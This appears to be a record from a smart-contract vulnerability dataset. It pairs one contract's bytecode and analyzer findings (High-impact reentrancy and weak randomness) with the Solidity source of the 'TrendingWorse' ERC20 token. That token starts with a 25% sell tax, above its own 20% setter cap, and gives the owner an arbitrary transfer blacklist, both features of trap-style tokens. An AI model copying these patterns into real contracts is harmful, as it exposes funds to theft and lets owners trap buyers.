5af11515612aff57600080fd5b505050604051805190508573ffffffffffffffffffffffffffffffffffffffff16635e85db0a896040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612b7757600080fd5b5af11515612b8457600080fd5b505050604051805190506130a6565b1515612b9e57600080fd5b612ba98483856131ae565b508173ffffffffffffffffffffffffffffffffffffffff1663b60e2333853388856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001945050505050600060405180830381600087803b1515612c5c57600080fd5b5af11515612c6957600080fd5b5050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612cd057600080fd5b600754821115612ce35760009050612d38565b816007600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515612d3357600080fd5b600190505b92915050565b6000806000600160149054906101000a900460ff16151515612d5f57600080fd5b600b60009054906101000a900460ff161515612d7a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16636352211e876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612e4957600080fd5b5af11515612e5657600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff16141515612e8257600080fd5b838273ffffffffffffffffffffffffffffffffffffffff166343886946876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612ef157600080fd5b5af11515612efe57600080fd5b50505060405180519050141515612f1457600080fd5b612f1f8483856131ae565b508273ffffffffffffffffffffffffffffffffffffffff1663eb02c301866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612f8e57600080fd5b5af11515612f9b57600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663f5ac481d853388856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001945050505050600060405180830381600087803b151561305957600080fd5b5af1151561306657600080fd5b5050505050505050565b6000828273ffffffffffffffffffffffffffffffffffffffff166001430340600190040181151561309d57fe5b06905092915050565b6000806000806000806000808a73ffffffffffffffffffffffffffffffffffffffff1663e55ae4e88d6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060e060405180830381600087803b151561312057600080fd5b5af1151561312d57600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190509650965096509650965096509650898763ffffffff16108061318c57508881838587898b010101010163ffffffff16105b1561319a576000975061319f565b600197505b50505050505050949350505050565b600080600080600080600960008a81526020019081526020016000205414156131da576000945061341a565b8673ffffffffffffffffffffffffffffffffffffffff1663204d3d65896040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561324857600080fd5b5af1151561325557600080fd5b505050604051805190509350600092505b838310156133fc578673ffffffffffffffffffffffffffffffffffffffff1663fed73b5489856040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b15156132e457600080fd5b5af115156132f157600080fd5b5050506040518051905091508573ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561336b57600080fd5b5af1151561337857600080fd5b50505060405180519050905083600960008a8152602001908152602001600020548115156133a257fe5b04600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508280600101935050613266565b6000600960008a815260200190815260200160002081905550600194505b505050509392505050565b60e0604051908101604052806007905b600063ffffffff1681526020019060019003908161343557905050905600a165627a7a72305820abbbaa91191babbc2064373d46c9fa7a1b5cec2f69d2293afe496cb84336e47c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,010 |
0x705dffc358d3c832fbba64d86849f187f1203eab
|
/**
*Submitted for verification at Etherscan.io on 2022-05-02
*/
/**
Trending Worse is a Erc20 token inspired by Elon Musk's Tweet.
TG will be made, but not listed here in an effort to keep the launch stealth.
Twitter and Website will follow the same protocol as above.
Trending Worse, Always.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TrendingWorse is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TrendingWorse";
string private constant _symbol = "TWorse";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x79F9FB644F275f1880c193431831631297f8B533);
address payable private _marketingAddress = payable(0x8194c737b6d33c6A72a6cF24fc8aF45Ad71F8133);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 30000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "Max Transaction Limit");
require(!bots[from] && !bots[to], "Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function startTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638da5cb5b116100d15780638da5cb5b146104485780638f9a55c01461046657806395d89b411461047c57806398a5c315146104ab57600080fd5b806374010ece146103e55780637d1db4a5146104055780637f2feddc1461041b57600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f81461037b5780636fc3eaec1461039b57806370a08231146103b0578063715018a6146103d057600080fd5b80632fd689e314610309578063313ce5671461031f57806349bd5a5e1461033b5780636b9990531461035b57600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d4578063293230b8146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ac7565b6105f6565b005b34801561020a57600080fd5b5060408051808201909152600d81526c5472656e64696e67576f72736560981b60208201525b60405161023d9190611b8c565b60405180910390f35b34801561025257600080fd5b50610266610261366004611be1565b610695565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50683635c9adc5dea000005b60405190815260200161023d565b3480156102e057600080fd5b506102666102ef366004611c0d565b6106ac565b34801561030057600080fd5b506101fc610715565b34801561031557600080fd5b506102c660185481565b34801561032b57600080fd5b506040516009815260200161023d565b34801561034757600080fd5b50601554610296906001600160a01b031681565b34801561036757600080fd5b506101fc610376366004611c4e565b610754565b34801561038757600080fd5b506101fc610396366004611c7b565b61079f565b3480156103a757600080fd5b506101fc6107e7565b3480156103bc57600080fd5b506102c66103cb366004611c4e565b610832565b3480156103dc57600080fd5b506101fc610854565b3480156103f157600080fd5b506101fc610400366004611c96565b6108c8565b34801561041157600080fd5b506102c660165481565b34801561042757600080fd5b506102c6610436366004611c4e565b60116020526000908152604090205481565b34801561045457600080fd5b506000546001600160a01b0316610296565b34801561047257600080fd5b506102c660175481565b34801561048857600080fd5b5060408051808201909152600681526554576f72736560d01b6020820152610230565b3480156104b757600080fd5b506101fc6104c6366004611c96565b610907565b3480156104d757600080fd5b506101fc6104e6366004611caf565b610936565b3480156104f757600080fd5b50610266610506366004611be1565b610aec565b34801561051757600080fd5b50610266610526366004611c4e565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc610af9565b34801561055c57600080fd5b506101fc61056b366004611ce1565b610b4d565b34801561057c57600080fd5b506102c661058b366004611d65565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611c96565b610bee565b3480156105e257600080fd5b506101fc6105f1366004611c4e565b610c1d565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611d9e565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611dd3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611dff565b91505061062c565b5050565b60006106a2338484610d07565b5060015b92915050565b60006106b9848484610e2b565b61070b843361070685604051806060016040528060288152602001611f19602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611353565b610d07565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611d9e565b6015805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161062090611d9e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107c95760405162461bcd60e51b815260040161062090611d9e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061081c57506013546001600160a01b0316336001600160a01b0316145b61082557600080fd5b4761082f8161138d565b50565b6001600160a01b0381166000908152600260205260408120546106a6906113c7565b6000546001600160a01b0316331461087e5760405162461bcd60e51b815260040161062090611d9e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161062090611d9e565b674563918244f4000081111561082f57601655565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062090611d9e565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062090611d9e565b60048411156109bf5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610620565b6014821115610a1b5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610620565b6004831115610a7b5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610620565b6014811115610ad85760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610620565b600893909355600a91909155600955600b55565b60006106a2338484610e2b565b6012546001600160a01b0316336001600160a01b03161480610b2e57506013546001600160a01b0316336001600160a01b0316145b610b3757600080fd5b6000610b4230610832565b905061082f8161144b565b6000546001600160a01b03163314610b775760405162461bcd60e51b815260040161062090611d9e565b60005b82811015610be8578160056000868685818110610b9957610b99611dd3565b9050602002016020810190610bae9190611c4e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be081611dff565b915050610b7a565b50505050565b6000546001600160a01b03163314610c185760405162461bcd60e51b815260040161062090611d9e565b601755565b6000546001600160a01b03163314610c475760405162461bcd60e51b815260040161062090611d9e565b6001600160a01b038116610cac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d695760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610dca5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610ef15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610f535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610f7f57506000546001600160a01b03838116911614155b1561124c57601554600160a01b900460ff16611018576000546001600160a01b038481169116146110185760405162461bcd60e51b815260206004820152603860248201527f54686973206163636f756e742063616e6e6f742073656e6420746f6b656e732060448201527f756e74696c2074726164696e6720697320656e61626c656400000000000000006064820152608401610620565b6016548111156110625760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb88131a5b5a5d605a1b6044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff161580156110a457506001600160a01b03821660009081526010602052604090205460ff16155b6110f05760405162461bcd60e51b815260206004820152601c60248201527f596f7572206163636f756e7420697320626c61636b6c697374656421000000006044820152606401610620565b6015546001600160a01b03838116911614611175576017548161111284610832565b61111c9190611e1a565b106111755760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b600061118030610832565b6018546016549192508210159082106111995760165491505b8080156111b05750601554600160a81b900460ff16155b80156111ca57506015546001600160a01b03868116911614155b80156111df5750601554600160b01b900460ff165b801561120457506001600160a01b03851660009081526005602052604090205460ff16155b801561122957506001600160a01b03841660009081526005602052604090205460ff16155b15611249576112378261144b565b478015611247576112474761138d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128e57506001600160a01b03831660009081526005602052604090205460ff165b806112c057506015546001600160a01b038581169116148015906112c057506015546001600160a01b03848116911614155b156112cd57506000611347565b6015546001600160a01b0385811691161480156112f857506014546001600160a01b03848116911614155b1561130a57600854600c55600954600d555b6015546001600160a01b03848116911614801561133557506014546001600160a01b03858116911614155b1561134757600a54600c55600b54600d555b610be8848484846115d4565b600081848411156113775760405162461bcd60e51b81526004016106209190611b8c565b5060006113848486611e32565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b600060065482111561142e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b6000611438611602565b90506114448382611625565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149357611493611dd3565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114e757600080fd5b505afa1580156114fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151f9190611e49565b8160018151811061153257611532611dd3565b6001600160a01b0392831660209182029290920101526014546115589130911684610d07565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611591908590600090869030904290600401611e66565b600060405180830381600087803b1580156115ab57600080fd5b505af11580156115bf573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115e1576115e1611667565b6115ec848484611695565b80610be857610be8600e54600c55600f54600d55565b600080600061160f61178c565b909250905061161e8282611625565b9250505090565b600061144483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ce565b600c541580156116775750600d54155b1561167e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116a7876117fc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116d99087611859565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611708908661189b565b6001600160a01b03891660009081526002602052604090205561172a816118fa565b6117348483611944565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117a88282611625565b8210156117c557505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117ef5760405162461bcd60e51b81526004016106209190611b8c565b5060006113848486611ed7565b60008060008060008060008060006118198a600c54600d54611968565b9250925092506000611829611602565b9050600080600061183c8e8787876119bd565b919e509c509a509598509396509194505050505091939550919395565b600061144483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611353565b6000806118a88385611e1a565b9050838110156114445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b6000611904611602565b905060006119128383611a0d565b3060009081526002602052604090205490915061192f908261189b565b30600090815260026020526040902055505050565b6006546119519083611859565b600655600754611961908261189b565b6007555050565b6000808080611982606461197c8989611a0d565b90611625565b90506000611995606461197c8a89611a0d565b905060006119ad826119a78b86611859565b90611859565b9992985090965090945050505050565b60008080806119cc8886611a0d565b905060006119da8887611a0d565b905060006119e88888611a0d565b905060006119fa826119a78686611859565b939b939a50919850919650505050505050565b600082611a1c575060006106a6565b6000611a288385611ef9565b905082611a358583611ed7565b146114445760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082f57600080fd5b8035611ac281611aa2565b919050565b60006020808385031215611ada57600080fd5b823567ffffffffffffffff80821115611af257600080fd5b818501915085601f830112611b